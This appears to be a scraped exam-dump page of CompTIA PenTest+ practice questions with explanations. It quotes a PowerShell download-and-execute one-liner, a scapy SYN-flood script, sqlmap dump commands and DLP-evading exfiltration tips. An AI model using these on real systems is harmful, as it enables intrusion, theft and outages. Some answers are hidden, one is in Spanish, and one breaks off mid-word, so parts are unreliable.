# CompTIA.PT0-003.v2025-12-26.q113

| | |
|---|---|
| **Exam Code:** | PT0-003 |
| **Exam Name:** | CompTIA PenTest+ Exam |
| **Certification Provider:** | CompTIA |
| **Free Question Number:** | 113 |
| **Version:** | v2025-12-26 |
| **# of views:** | 102 |
| **# of Questions views:** | 1132 |
| https://www.freecram.net/torrent/CompTIA.PT0-003.v2025-12-26.q113.html | |

**NEW QUESTION: 1**
Given the following script:
$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split("\")[1] If ($1 -eq "administrator") { echo IEX(New-Object Net.WebClient).Downloadstring('http://10.10.11.12:8080/ul/windows.ps1') | powershell -noprofile -} Which of the following is the penetration tester most likely trying to do?
**A.** Change the system's wallpaper based on the current user's preferences.
**B.** Capture the administrator's password and transmit it to a remote server.
**C.** Conditionally stage and execute a remote script.
**D.** Log the internet browsing history for a systems administrator.
**Answer: (SHOW ANSWER)**
Script Breakdown:
$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split("\")[1]: Retrieves the current username.
If ($1 -eq "administrator"): Checks if the current user is "administrator".
echo IEX(New-Object Net.WebClient).Downloadstring('http://10.10.11.12:8080/ul/windows.ps1') | powershell -noprofile -}: If the user is "administrator", downloads and executes a PowerShell script from a remote server.
Purpose:
Conditional Execution: Ensures the script runs only if executed by an administrator.
Remote Script Execution: Uses IEX (Invoke-Expression) to download and execute a script from a remote server, a common method for staging payloads.
Why This is the Best Choice:
This script aims to conditionally download and execute a remote script based on the user's privileges. It is designed to stage further attacks or payloads only if the current user has administrative privileges.
References from Pentesting Literature:

The technique of conditionally executing scripts based on user privileges and using remote script execution is discussed in penetration testing guides and is a common tactic in various HTB write-ups.
References:
Penetration Testing - A Hands-on Introduction to Hacking
HTB Official Writeups

**NEW QUESTION: 2**
Which of the following is most important when communicating the need for vulnerability remediation to a client at the conclusion of a penetration test?
**A.** Articulation of cause
**B.** Articulation of impact
**C.** Articulation of escalation
**D.** Articulation of alignment
**Answer: (SHOW ANSWER)**
When concluding a penetration test, effectively communicating the need for vulnerability remediation is crucial. Here's why the articulation of impact is the most important aspect:
Articulation of Cause (Option A):
This involves explaining the root cause of the vulnerabilities discovered during the penetration test.
Importance: While understanding the cause is essential for long-term remediation and prevention, it does not directly convey the urgency or potential consequences of the vulnerabilities.
Articulation of Impact (Option B):
This involves describing the potential consequences and risks associated with the vulnerabilities. It includes the possible damage, such as data breaches, financial losses, reputational damage, and operational disruptions.
Importance: The impact provides the client with a clear understanding of the severity and urgency of the issues. It helps prioritize remediation efforts based on the potential damage that could be inflicted if the vulnerabilities are exploited.
References: Penetration testing reports and communications that emphasize the impact are more likely to drive action from stakeholders. By focusing on the real-world implications of the vulnerabilities, clients can see the necessity for prompt remediation.
Articulation of Escalation (Option C):
Explanation: This involves detailing how a minor vulnerability could be leveraged to escalate privileges or cause more significant issues.
Importance: While escalation paths are important to understand, they are part of the broader impact assessment. They explain how an attacker might exploit the vulnerability further but do not convey the immediate risk as clearly as impact.
Articulation of Alignment (Option D):
Explanation: This involves aligning the findings and recommendations with the client's security policies, compliance requirements, or business objectives.

Importance: Alignment is useful for ensuring that remediation efforts are in line with the client's strategic goals and regulatory requirements. However, it still doesn't highlight the immediate urgency and potential damage like the articulation of impact does.
Conclusion: Articulating the impact of vulnerabilities is the most crucial element when communicating the need for remediation. By clearly explaining the potential risks and consequences, penetration testers can effectively convey the urgency and importance of addressing the discovered issues, thus motivating clients to take prompt and appropriate action.

**NEW QUESTION: 3**
During a security assessment, a penetration tester uses a tool to capture plaintext log-in credentials on the communication between a user and an authentication system. The tester wants to use this information for further unauthorized access. Which of the following tools is the tester using?
**A.** Burp Suite
**B.** Wireshark
**C.** Zed Attack Proxy
**D.** Metasploit
**Answer: B (LEAVE A REPLY)**
Wireshark is a network packet analyzer used to capture and analyze network traffic in real-time. During a penetration test, it is often used to inspect unencrypted communication to extract sensitive information like plaintext login credentials. Here's how it works:
* Packet Capturing:Wireshark captures the network packets transmitted over a network interface. If a user logs in through an insecure communication protocol (e.g., HTTP, FTP, or Telnet), the credentials are transmitted in plaintext.
* Traffic Filtering:Using filters (e.g., http, tcp.port == 21), the tester narrows down the relevant traffic to locate the login request and response packets.
* Sensitive Data Extraction:Analyzing the captured packets reveals plaintext credentials in the data payload, such as in HTTP POST requests.
* Exploit the Information:After extracting the plaintext credentials, the tester can attempt unauthorized access to resources using these credentials.
CompTIA Pentest+ References:
* Domain 1.0 (Planning and Scoping)
* Domain 2.0 (Information Gathering and Vulnerability Identification)
* Wireshark Usage Guide

**NEW QUESTION: 4**
During an engagement, a penetration tester wants to enumerate users from Linux systems by using finger and rwho commands. However, the tester realizes these commands alone will not achieve the desired result.
Which of the following is the best tool to use for this task?
**A.** Nikto

**B.** Burp Suite
**C.** smbclient
**D.** theHarvester
**Answer: (SHOW ANSWER)**
The smbclient tool is used to access SMB/CIFS resources on a network. It allows penetration testers to connect to shared resources and enumerate users on a network, particularly in Windows environments. While finger and rwho are more common on Unix/Linux systems, smbclient provides better functionality for enumerating users across a network.
Understanding smbclient:
Purpose: smbclient is used to access and manage files and directories on SMB/CIFS servers.
Capabilities: It allows for browsing shared resources, listing directories, downloading and uploading files, and enumerating users.
User Enumeration:
Command: Use smbclient with the -L option to list available shares and users.
Step-by-Step Explanationsmbclient -L //target_ip -U username
Example: Enumerating users on a target system.
smbclient -L //192.168.50.2 -U anonymous
Advantages:
Comprehensive: Provides detailed information about shared resources and users.
Cross-Platform: Can be used on both Linux and Windows systems.
References from Pentesting Literature:
SMB enumeration is a common practice discussed in penetration testing guides for identifying shared resources and users in a network environment.
HTB write-ups frequently mention the use of smbclient for enumerating network shares and users.
References:
Penetration Testing - A Hands-on Introduction to Hacking
HTB Official Writeups

**NEW QUESTION: 5**
A penetration tester currently conducts phishing reconnaissance using various tools and accounts for multiple intelligence-gathering platforms. The tester wants to consolidate some of the tools and accounts into one solution to analyze the output from the intelligence-gathering tools. Which of the following is the best tool for the penetration tester to use?
**A.** Caldera
**B.** SpiderFoot
**C.** Maltego
**D.** WIGLE.net
**Answer: (SHOW ANSWER)**
Penetration testers use OSINT (Open-Source Intelligence) tools to collect and analyze reconnaissance data.

Maltego (Option C):
Maltego is a powerful graph-based OSINT tool that integrates data from multiple sources (e.g., social media, DNS records, leaked credentials).
It automates data correlation and helps visualize connections.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "OSINT and Intelligence Gathering" Incorrect options:
Option A (Caldera): Used for adversary emulation, not OSINT.
Option B (SpiderFoot): A reconnaissance tool but lacks data correlation capabilities.
Option D (WIGLE.net): A wireless network database, not an OSINT analysis tool.

**NEW QUESTION: 6**
A penetration tester successfully gained access to manage resources and services within the company's cloud environment. This was achieved by exploiting poorly secured administrative credentials that had extensive permissions across the network. Which of the following credentials was the tester able to obtain?
**A.** IAM credentials
**B.** SSH key for cloud instance
**C.** Cloud storage credentials
**D.** Temporary security credentials (STS)
**Answer: (SHOW ANSWER)**
IAM (Identity and Access Management) credentials are used to control and manage access to cloud services and resources. When a penetration tester obtains IAM credentials, especially those with administrative privileges, they can perform high-level operations such as provisioning services, modifying configurations, or accessing sensitive data across the cloud environment.
SSH keys would only grant access to a specific instance, not cloud-wide services.
Cloud storage credentials are limited to storage access, not administrative capabilities.
Temporary security credentials (STS) provide limited-time access and are not typically used for broad administrative tasks.
Reference: PT0-003 Objective 1.3 - Exploit cloud-based vulnerabilities, including credential abuse and privilege escalation via IAM.

**NEW QUESTION: 7**
A penetration tester wants to use PowerView in an AD environment. Which of the following is the most likely reason?
**A.** To collect local hashes
**B.** To decrypt stored passwords
**C.** To enumerate user groups
**D.** To escalate privileges
**Answer: C (LEAVE A REPLY)**

PowerView is a PowerShell tool used for Active Directory enumeration. It is part of the PowerSploit framework and allows penetration testers to gather detailed information about the AD environment, including user accounts, groups, computers, shares, and trust relationships.
PowerView is most commonly used to:
Enumerate domain users, groups, and memberships
Identify privileged users and group memberships
Discover domain trusts and permissions
According to the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 8 - Post-Exploitation and Lateral Movement):
"PowerView is a post-exploitation tool used primarily for Active Directory reconnaissance, including user and group enumeration, identifying domain trusts, and mapping out the AD structure." Reference: CompTIA PenTest+ PT0-003 Official Study Guide, Chapter 8

**NEW QUESTION: 8**
Which of the following is within the scope of proper handling and most crucial when working on a penetration testing report?
**A.** Keeping both video and audio of everything that is done
**B.** Keeping the report to a maximum of 5 to 10 pages in length
**C.** Basing the recommendation on the risk score in the report
**D.** Making the report clear for all objectives with a precise executive summary
**Answer: (SHOW ANSWER)**
* Importance of a Clear Executive Summary:
* The executive summary is essential because it provides decision-makers with a concise overview of the findings, risks, and recommendations without requiring deep technical knowledge.
* Clarity in objectives ensures that all stakeholders understand the purpose, scope, and outcomes of the test.
* Why Not Other Options?
* A: Keeping video and audio records is helpful during testing but not typically included in the final report for handling purposes.
* B: Limiting the report to 5-10 pages may compromise its comprehensiveness and omit critical details.
* C: Recommendations based solely on the risk score may not address the broader context or organizational priorities.
CompTIA Pentest+ References:
* Domain 5.0 (Reporting and Communication)

**NEW QUESTION: 9**
During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan.
INSTRUCTIONS

Analyze the code segments to determine which sections are needed to complete a port scanning script.
Drag the appropriate elements into the correct locations to complete the script.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

**Answer:**

Explanation:

A computer screen shot of a computer Description automatically generated

A screen shot of a computer Description automatically generated

A computer screen with white text Description automatically generated

An orange screen with white text Description automatically generated

**NEW QUESTION: 10**

Which of the following is the most efficient way to infiltrate a file containing data that could be sensitive?

**A.** Use steganography and send the file over FTP

**B.** Compress the file and send it using TFTP

**C.** Split the file in tiny pieces and send it over dnscat

**D.** Encrypt and send the file over HTTPS

**Answer: (SHOW ANSWER)**

When considering efficiency and security for exfiltrating sensitive data, the chosen method must ensure data confidentiality and minimize the risk of detection. Here's an analysis of each option:

Use steganography and send the file over FTP (Option A):

Steganography hides data within other files, such as images. FTP is a protocol for transferring files.

Drawbacks: FTP is not secure as it transmits data in clear text, making it susceptible to interception.

Steganography can add an extra layer of obfuscation, but the use of FTP makes this option insecure.

Compress the file and send it using TFTP (Option B):

TFTP is a simple file transfer protocol that lacks encryption.

Drawbacks: TFTP is inherently insecure because it does not support encryption, making it easy for attackers to intercept the data during transfer.

Split the file in tiny pieces and send it over dnscat (Option C):

dnscat is a tool for tunneling data over DNS.

Drawbacks: While effective at evading detection by using DNS, splitting the file and managing the reassembly adds complexity. Additionally, large data transfers over DNS can raise suspicion.

Encrypt and send the file over HTTPS (Answer: D):

Encrypting the file ensures that its contents are protected during transfer. HTTPS provides a secure, encrypted channel for communication over the internet.

Advantages: HTTPS is widely used and trusted, making it less likely to raise suspicion.

Encryption ensures the data remains confidential during transit.

References:
The use of HTTPS for secure data transfer is a standard practice in cybersecurity, providing both encryption and integrity of the data being transmitted.
Conclusion: Encrypting the file and sending it over HTTPS is the most efficient and secure method for exfiltrating sensitive data, ensuring both confidentiality and reducing the risk of detection.

**NEW QUESTION: 11**
During a testing engagement, a penetration tester compromises a host and locates data for exfiltration. Which of the following are the best options to move the data without triggering a data loss prevention tool? (Select two).
**A.** Move the data using a USB flash drive.
**B.** Compress and encrypt the data.
**C.** Rename the file name extensions.
**D.** Use FTP for exfiltration.
**E.** Encode the data as Base64.
**F.** Send the data to a commonly trusted service.
**Answer: (SHOW ANSWER)**
Data Loss Prevention (DLP) tools monitor sensitive data and prevent unauthorized exfiltration.
The two best options to bypass DLP are:
Compress and encrypt the data (Option B):
Compression reduces file size, making detection harder. Encryption further protects the data by making it unreadable without a key.
DLP tools often inspect content based on known patterns (e.g., credit card numbers, sensitive keywords).
Encrypted files bypass content inspection since DLP cannot analyze encrypted data.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Data Exfiltration Techniques"
Encode the data as Base64 (Option E):
Base64 encoding disguises data by converting it into ASCII text, making it less likely to trigger DLP signature-based detection.
Many DLP systems do not analyze encoded text deeply, assuming it is non-sensitive.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Encoding and Obfuscation in Exfiltration" Incorrect options:
Option A (USB flash drive): Physical exfiltration is risky and easily detectable in enterprise environments.
Option C (Rename file extensions): DLP systems analyze content, not just filenames.
Option D (FTP for exfiltration): FTP is monitored by security tools and is a high-risk method.
Option F (Trusted service): Many organizations monitor outbound traffic to cloud storage or email services.

**NEW QUESTION: 12**

A penetration tester needs to confirm the version number of a client's web application server. Which of the following techniques should the penetration tester use?

**A.** SSL certificate inspection

**B.** URL spidering

**C.** Banner grabbing

**D.** Directory brute forcing

**Answer: (SHOW ANSWER)**

Banner grabbing is a technique used to obtain information about a network service, including its version number, by connecting to the service and reading the response.

* Understanding Banner Grabbing:

* Purpose: Identify the software version running on a service by reading the initial response banner.

* Methods: Can be performed manually using tools like Telnet or automatically using tools like Nmap.

* Manual Banner Grabbing:

Step-by-Step Explanationtelnet target_ip 80

* Netcat: Another tool for banner grabbing.

nc target_ip 80

* Automated Banner Grabbing:

* Nmap: Use Nmap's version detection feature to grab banners.

nmap -sV target_ip

* Benefits:

* Information Disclosure: Quickly identify the version and sometimes configuration details of the service.

* Targeted Exploits: Helps in selecting appropriate exploits based on the identified version.

* References from Pentesting Literature:

* Banner grabbing is a fundamental technique in reconnaissance, discussed in various penetration testing guides.

* HTB write-ups often include banner grabbing as a step in identifying the version of services.

References:

* Penetration Testing - A Hands-on Introduction to Hacking

* HTB Official Writeups

**NEW QUESTION: 13**

During an assessment, a penetration tester obtains access to a Microsoft SQL server using sqlmap and runs the following command:

sql> xp_cmdshell whoami /all

Which of the following is the tester trying to do?

**A.** List database tables

**B.** Show logged-in database users

**C.** Enumerate privileges

**D.** Display available SQL commands
**Answer: (SHOW ANSWER)**
The command xp_cmdshell executes system-level commands from SQL Server. The command whoami /all is used to enumerate user privileges, group memberships, and security contexts on Windows systems.
From the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 8 - Post-Exploitation Techniques)
:
"Using xp_cmdshell and system commands like whoami /all allows testers to identify the privilege level of the database user and system access level." Reference: Chapter 8, CompTIA PenTest+ PT0-003 Official Study Guide

**NEW QUESTION: 14**
A penetration tester needs to obtain sensitive data from several executives who regularly work while commuting by train. Which of the following methods should the tester use for this task?
**A.** Bluetooth spamming
**B.** Shoulder surfing
**C.** MFA fatigue
**D.** Credential harvesting
**Answer: (SHOW ANSWER)**
Shoulder surfing es el metodo mas efectivo en este contexto. Cuando los ejecutivos trabajan en lugares publicos como trenes, un atacante puede visualizar sus pantallas sin ser detectado para recopilar datos confidenciales.
Credential harvesting requiere phishing o explotacion directa. Bluetooth spamming y MFA fatigue no aplican directamente en un entorno de observacion fisica.
Referencia: PT0-003 Objective 2.1 - Social engineering and physical observation methods.

**NEW QUESTION: 15**
A penetration tester creates a list of target domains that require further enumeration. The tester writes the following script to perform vulnerability scanning across the domains:
line 1: #!/usr/bin/bash
line 2: DOMAINS_LIST = "/path/to/list.txt"
line 3: while read -r i; do
line 4: nikto -h $i -o scan-$i.txt &
line 5: done
The script does not work as intended. Which of the following should the tester do to fix the script?
**A.** Change line 2 to {"domain1", "domain2", "domain3", }.
**B.** Change line 3 to while true; read -r i; do.
**C.** Change line 4 to nikto $i | tee scan-$i.txt.
**D.** Change line 5 to done < "$DOMAINS_LIST".
**Answer: D (LEAVE A REPLY)**

The issue with the script lies in how the while loop reads the file containing the list of domains. The current script doesn't correctly redirect the file's content to the loop. Changing line 5 to done < "$DOMAINS_LIST" correctly directs the loop to read from the file.
Step-by-Step Explanation
Original Script:
DOMAINS_LIST="/path/to/list.txt"
while read -r i; do
nikto -h $i -o scan-$i.txt &
done
Identified Problem:
The while read -r i; do loop needs to know which file to read lines from. Without redirecting the input file to the loop, it doesn't process any input.
Solution:
Add done < "$DOMAINS_LIST" to the end of the loop to specify the input source.
Corrected script:
DOMAINS_LIST="/path/to/list.txt"
while read -r i; do
nikto -h $i -o scan-$i.txt &
done < "$DOMAINS_LIST"
done < "$DOMAINS_LIST" ensures that the while loop reads each line from DOMAINS_LIST. This fix makes the loop iterate over each domain in the list and run nikto against each.
References from Pentesting Literature:
Scripting a

**NEW QUESTION: 16**
A penetration tester is enumerating a Linux system. The goal is to modify the following script to provide more comprehensive system information:
#!/bin/bash
ps aux >> linux_enum.txt
Which of the following lines would provide the most comprehensive enumeration of the system?
**A.** cat /etc/passwd >> linux_enum.txt; netstat -tuln >> linux_enum.txt; cat /etc/bash.bashrc >> linux_enum.
txt
**B.** whoami >> linux_enum.txt; uname -a >> linux_enum.txt; ifconfig >> linux_enum.txt
**C.** hostname >> linux_enum.txt; echo $USER >> linux_enum.txt; curl ifconfig.me >> linux_enum.txt
**D.** lsof -i >> linux_enum.txt; uname -a >> linux_enum.txt; ls /home/ >> linux_enum.txt
**Answer: (SHOW ANSWER)**
This command gathers:
/etc/passwd - lists all local user accounts.
netstat -tuln - lists listening ports and associated services.

/etc/bash.bashrc - contains environment variables and configurations that could reveal system behaviors or hidden persistence mechanisms.
This provides a much broader and deeper enumeration compared to other options.
Reference: PT0-003 Objective 4.1 - Post-exploitation techniques including enumeration of system users, services, and configurations.



**NEW QUESTION: 17**
A penetration tester needs to evaluate the order in which the next systems will be selected for testing. Given the following output:
Hostname | IP address | CVSS 2.0 | EPSS
hrdatabase | 192.168.20.55 | 9.9 | 0.50
financesite | 192.168.15.99 | 8.0 | 0.01
legaldatabase | 192.168.10.2 | 8.2 | 0.60
fileserver | 192.168.125.7 | 7.6 | 0.90
Which of the following targets should the tester select next?
**A.** fileserver
**B.** hrdatabase
**C.** legaldatabase
**D.** financesite
**Answer: (SHOW ANSWER)**
Given the output, the penetration tester should select the fileserver as the next target for testing, considering both CVSS and EPSS scores.
* CVSS (Common Vulnerability Scoring System):
* Purpose: CVSS provides a numerical score to represent the severity of vulnerabilities, helping to prioritize remediation efforts.
* Higher Scores: Indicate more severe vulnerabilities.
* EPSS (Exploit Prediction Scoring System):
* Purpose: EPSS estimates the likelihood that a vulnerability will be exploited in the wild within the next 30 days.
* Higher Scores: Indicate a higher likelihood of exploitation.
* Evaluation:
* hrdatabase: CVSS = 9.9, EPSS = 0.50

* financesite: CVSS = 8.0, EPSS = 0.01
* legaldatabase: CVSS = 8.2, EPSS = 0.60
* fileserver: CVSS = 7.6, EPSS = 0.90
* The fileserver has the highest EPSS score, indicating a high likelihood of exploitation, despite having a slightly lower CVSS score compared to hrdatabase and legaldatabase.
Pentest References:
* Prioritization: Balancing between severity (CVSS) and exploitability (EPSS) is crucial for effective vulnerability management.
* Risk Assessment: Evaluating both the impact and the likelihood of exploitation helps in making informed decisions about testing priorities.
By selecting the fileserver, which has a high EPSS score, the penetration tester focuses on a target that is more likely to be exploited, thereby addressing the most immediate risk.

**NEW QUESTION: 18**
A penetration tester needs to exploit a vulnerability in a wireless network that has weak encryption to perform traffic analysis and decrypt sensitive information. Which of the following techniques would best allow the penetration tester to have access to the sensitive information?
**A.** Bluejacking
**B.** SSID spoofing
**C.** Packet sniffing
**D.** ARP poisoning
**Answer: (SHOW ANSWER)**
If a wireless network uses weak encryption (e.g., WEP), attackers can capture and analyze packets to extract sensitive data.
Packet sniffing (Option C):
Tools like Wireshark, Aircrack-ng, and Kismet capture network packets.
Attackers analyze captured traffic to decrypt WEP encryption or extract plaintext credentials.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Wireless Network Attacks and Sniffing" Incorrect options:
Option A (Bluejacking): Sends unsolicited Bluetooth messages, not for network sniffing.
Option B (SSID spoofing): Involves creating a fake access point, but does not analyze traffic.
Option D (ARP poisoning): Used for MITM attacks, but not specific to wireless traffic analysis.

**NEW QUESTION: 19**
During a pre-engagement activity with a new customer, a penetration tester looks for assets to test. Which of the following is an example of a target that can be used for testing?
**A.** API
**B.** HTTP
**C.** IPA
**D.** ICMP
**Answer: (SHOW ANSWER)**

* API as a Target:
* APIs (Application Programming Interfaces) are common assets to test for vulnerabilities such as improper authentication, data leakage, or injection attacks.
* Testing APIs often uncovers critical issues in modern applications.
* Why Not Other Options?
* B (HTTP): This is a protocol, not a specific asset.
* C (IPA): Unrelated to penetration testing (likely a typo or irrelevant here).
* D (ICMP): This is a protocol used for network diagnostics, not an application asset.
CompTIA Pentest+ References:
* Domain 1.0 (Planning and Scoping)

**NEW QUESTION: 20**

A penetration tester is testing a power plant's network and needs to avoid disruption to the grid. Which of the following methods is most appropriate to identify vulnerabilities in the network?



**A.** Configure a network scanner engine and execute the scan.
**B.** Execute a testing framework to validate vulnerabilities on the devices.
**C.** Configure a port mirror and review the network traffic.
**D.** Run a network mapper tool to get an understanding of the devices.
**Answer: (SHOW ANSWER)**
When testing a power plant's network and needing to avoid disruption to the grid, configuring a port mirror and reviewing the network traffic is the most appropriate method to identify vulnerabilities without causing disruptions.
* Port Mirroring:
* Definition: Port mirroring (SPAN - Switched Port Analyzer) is a method of monitoring network traffic by duplicating packets from one or more switch ports to another port where a monitoring device is connected.
* Purpose: Allows passive monitoring of network traffic without impacting network operations or device performance.
* Avoiding Disruption:
* Non-Intrusive: Port mirroring is non-intrusive and does not generate additional traffic or load on the network devices, making it suitable for sensitive environments like power plants where disruption is not acceptable.
* Other Options:
* Network Scanner Engine: Active scanning might disrupt network operations or devices, which is not suitable for critical infrastructure.
* Testing Framework: Validating vulnerabilities on devices might involve active testing, which can be disruptive.
* Network Mapper Tool: Running a network mapper tool (like Nmap) actively scans the network and might disrupt services.
Pentest References:

* Passive Monitoring: Passive techniques such as port mirroring are essential in environments where maintaining operational integrity is critical.
* Critical Infrastructure Security: Understanding the need for non-disruptive methods in critical infrastructure penetration testing to ensure continuous operations.
By configuring a port mirror and reviewing network traffic, the penetration tester can identify vulnerabilities in the power plant's network without risking disruption to the grid.

**NEW QUESTION: 21**
During an assessment, a penetration tester sends the following request:
POST /services/v1/users/create HTTP/1.1
Host: target-application.com
Content-Type: application/json
Content-Length: [dynamic]
Authorization: Bearer (FUZZ)
Which of the following attacks is the penetration tester performing?
**A.** Directory traversal
**B.** API abuse
**C.** Server-side request forgery
**D.** Privilege escalation
**Answer: (SHOW ANSWER)**
This attack attempts to manipulate the API by fuzzing the authorization token (Authorization: Bearer (FUZZ)). This suggests an attempt to bypass authentication or escalate privileges by using an invalid, stolen, or guessed token-a form of API abuse.
* Option A (Directory traversal) #:
* Involves manipulating file paths (e.g., ../../../etc/passwd), but this attack targets API authentication.
* Option B (API abuse) #:
* Correct. Fuzzing the authorization token suggests an attempt to bypass authentication or test for weak API security.
* Option C (Server-side request forgery - SSRF) #:
* SSRF manipulates backend requests to make unauthorized HTTP calls, which is not evident here.
* Option D (Privilege escalation) #:
* While API abuse may lead to privilege escalation, fuzzing the token alone does not directly escalate privileges.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - API Security Testing & Authentication Bypasses

**NEW QUESTION: 22**
A penetration tester is authorized to perform a DoS attack against a host on a network. Given the following input:

```
ip = IP("192.168.50.2")
tcp = TCP(sport=RandShort(), dport=80, flags="S")
raw = RAW(b"X"*1024)
p = ip/tcp/raw
send(p, loop=1, verbose=0)
```

Which of the following attack types is most likely being used in the test?

**A.** MDK4

**B.** Smurf attack

**C.** FragAttack

**D.** SYN flood

**Answer: (SHOW ANSWER)**

A SYN flood attack exploits the TCP handshake by sending a succession of SYN requests to a target's system.

Each request initializes a connection that the target system must acknowledge, thus consuming resources.

* Understanding the Script:
* ip = IP("192.168.50.2"): Sets the destination IP address to 192.168.50.2.
* tcp = TCP(sport=RandShort(), dport=80, flags="S"): Creates a TCP packet with a random source port, destination port 80, and the SYN flag set.
* raw = RAW(b"X"*1024): Adds 1024 bytes of data to the packet.
* p = ip/tcp/raw: Combines the IP, TCP, and RAW layers into a single packet.
* send(p, loop=1, verbose=0): Sends the packet in an infinite loop without verbose output.
* Purpose of SYN Flood:
* Resource Exhaustion: By sending numerous SYN requests, the target's connection table fills up, preventing legitimate connections.
* Denial of Service: The target system becomes overwhelmed and unable to process further requests, effectively causing a denial of service.
* Detection and Mitigation:
* Rate Limiting: Implement rate limiting on SYN packets.
* SYN Cookies: Use SYN cookies to handle the connection requests without allocating resources immediately.
* Firewalls and IDS: Deploy firewalls and Intrusion Detection Systems (IDS) to detect and mitigate SYN flood attacks.
* References from Pentesting Literature:
* SYN flood attacks are a classic example of a denial-of-service attack and are commonly discussed in penetration testing guides and HTB write-ups for understanding network-based attacks.

Step-by-Step ExplanationReferences:

* Penetration Testing - A Hands-on Introduction to Hacking
* HTB Official Writeups

**NEW QUESTION: 23**
During a vulnerability assessment, a penetration tester configures the scanner sensor and performs the initial vulnerability scanning under the client's internal network. The tester later discusses the results with the client, but the client does not accept the results. The client indicates the host and assets that were within scope are not included in the vulnerability scan results.
Which of the following should the tester have done?
**A.** Rechecked the scanner configuration.
**B.** Performed a discovery scan.
**C.** Used a different scan engine.
**D.** Configured all the TCP ports on the scan.
**Answer: (SHOW ANSWER)**
When the client indicates that the scope's hosts and assets are not included in the vulnerability scan results, it suggests that the tester may have missed discovering all the devices in the scope. Here's the best course of action:
Performing a Discovery Scan:
Purpose: A discovery scan identifies all active devices on the network before running a detailed vulnerability scan. It ensures that all in-scope devices are included in the assessment.
Process: The discovery scan uses techniques like ping sweeps, ARP scans, and port scans to identify active hosts and services.
Comparison with Other Actions:
Rechecking the Scanner Configuration (A): Useful but not as comprehensive as ensuring all hosts are discovered.
Using a Different Scan Engine (C): Not necessary if the issue is with host discovery rather than the scanner's capability.
Configuring All TCP Ports on the Scan (D): Helps in detailed scanning but does not address missing hosts.
Performing a discovery scan ensures that all in-scope devices are identified and included in the vulnerability assessment, making it the best course of action.

**NEW QUESTION: 24**
During a penetration test, the tester identifies several unused services that are listening on all targeted internal laptops. Which of the following technical controls should the tester recommend to reduce the risk of compromise?
**A.** Multifactor authentication
**B.** Patch management
**C.** System hardening
**D.** Network segmentation
**Answer: (SHOW ANSWER)**
When a penetration tester identifies several unused services listening on targeted internal laptops, the most appropriate recommendation to reduce the risk of compromise is system hardening. Here's why:

System Hardening:
Purpose: System hardening involves securing systems by reducing their surface of vulnerability. This includes disabling unnecessary services, applying security patches, and configuring systems securely.
Impact: By disabling unused services, the attack surface is minimized, reducing the risk of these services being exploited by attackers.
Comparison with Other Controls:
Multifactor Authentication (A): While useful for securing authentication, it does not address the issue of unused services running on the system.
Patch Management (B): Important for addressing known vulnerabilities but not specifically related to disabling unused services.
Network Segmentation (D): Helps in containing breaches but does not directly address the issue of unnecessary services.
System hardening is the most direct control for reducing the risk posed by unused services, making it the best recommendation.

**NEW QUESTION: 25**
During a penetration test, a tester captures information about an SPN account. Which of the following attacks requires this information as a prerequisite to proceed?
**A.** Golden Ticket
**B.** Kerberoasting
**C.** DCShadow
**D.** LSASS dumping
**Answer: (SHOW ANSWER)**
Kerberoasting is an attack that specifically targets Service Principal Name (SPN) accounts in a Windows Active Directory environment. Here's a detailed explanation:
Understanding SPN Accounts:
SPNs are unique identifiers for services in a network that allows Kerberos to authenticate service accounts.
These accounts are often associated with services such as SQL Server, IIS, etc.
Kerberoasting Attack:
Prerequisite: Knowledge of the SPN account.
Process: An attacker requests a service ticket for the SPN account using the Kerberos protocol. The ticket is encrypted with the service account's NTLM hash. The attacker captures this ticket and attempts to crack the hash offline.
Objective: To obtain the plaintext password of the service account, which can then be used for lateral movement or privilege escalation.
Comparison with Other Attacks:
Golden Ticket: Involves forging Kerberos TGTs using the KRBTGT account hash, requiring domain admin credentials.

DCShadow: Involves manipulating Active Directory data by impersonating a domain controller, typically requiring high privileges.
LSASS Dumping: Involves extracting credentials from the LSASS process on a Windows machine, often requiring local admin privileges.
Kerberoasting specifically requires the SPN account information to proceed, making it the correct answer.

**NEW QUESTION: 26**
During an assessment, a penetration tester exploits an SQLi vulnerability. Which of the following commands would allow the penetration tester to enumerate password hashes?
**A.** sqlmap -u www.example.com/?id=1 --search -T user
**B.** sqlmap -u www.example.com/?id=1 --dump -D accounts -T users -C cred
**C.** sqlmap -u www.example.com/?id=1 --tables -D accounts
**D.** sqlmap -u www.example.com/?id=1 --schema --current-user --current-db
**Answer: (SHOW ANSWER)**
To enumerate password hashes using an SQL injection vulnerability, the penetration tester needs to extract specific columns from the database that typically contain password hashes. The --dump command in sqlmap is used to dump the contents of the specified database table. Here's a breakdown of the options:
Option A: sqlmap -u www.example.com/?id=1 --search -T user
The --search option is used to search for columns and not to dump data. This would not enumerate password hashes.
Option B: sqlmap -u www.example.com/?id=1 --dump -D accounts -T users -C cred This command uses --dump to extract data from the specified database accounts, table users, and column cred.
This is the correct option to enumerate password hashes, assuming cred is the column containing the password hashes.
Option C: sqlmap -u www.example.com/?id=1 --tables -D accounts
The --tables option lists all tables in the specified database but does not extract data.
Option D: sqlmap -u www.example.com/?id=1 --schema --current-user --current-db The --schema option provides the database schema information, and --current-user and --current-db provide information about the current user and database but do not dump data.
References from Pentest:
Writeup HTB: Demonstrates using sqlmap to dump data from specific tables to retrieve sensitive information, including password hashes.
Luke HTB: Shows the process of exploiting SQL injection to extract user credentials and hashes by dumping specific columns from the database.

**NEW QUESTION: 27**
While conducting an assessment, a penetration tester identifies details for several unreleased products announced at a company-wide meeting.

Which of the following attacks did the tester most likely use to discover this information?
**A.** Eavesdropping
**B.** Bluesnarfing
**C.** Credential harvesting
**D.** SQL injection attack
**Answer: (SHOW ANSWER)**
The tester gained information by listening to a private discussion, which is eavesdropping (passive reconnaissance).
* Option A (Eavesdropping) #: Correct.
* Involves intercepting conversations via audio, network traffic, or wireless signals.
* Option B (Bluesnarfing) #: Stealing data via Bluetooth, which is not mentioned.
* Option C (Credential harvesting) #: No password collection occurred.
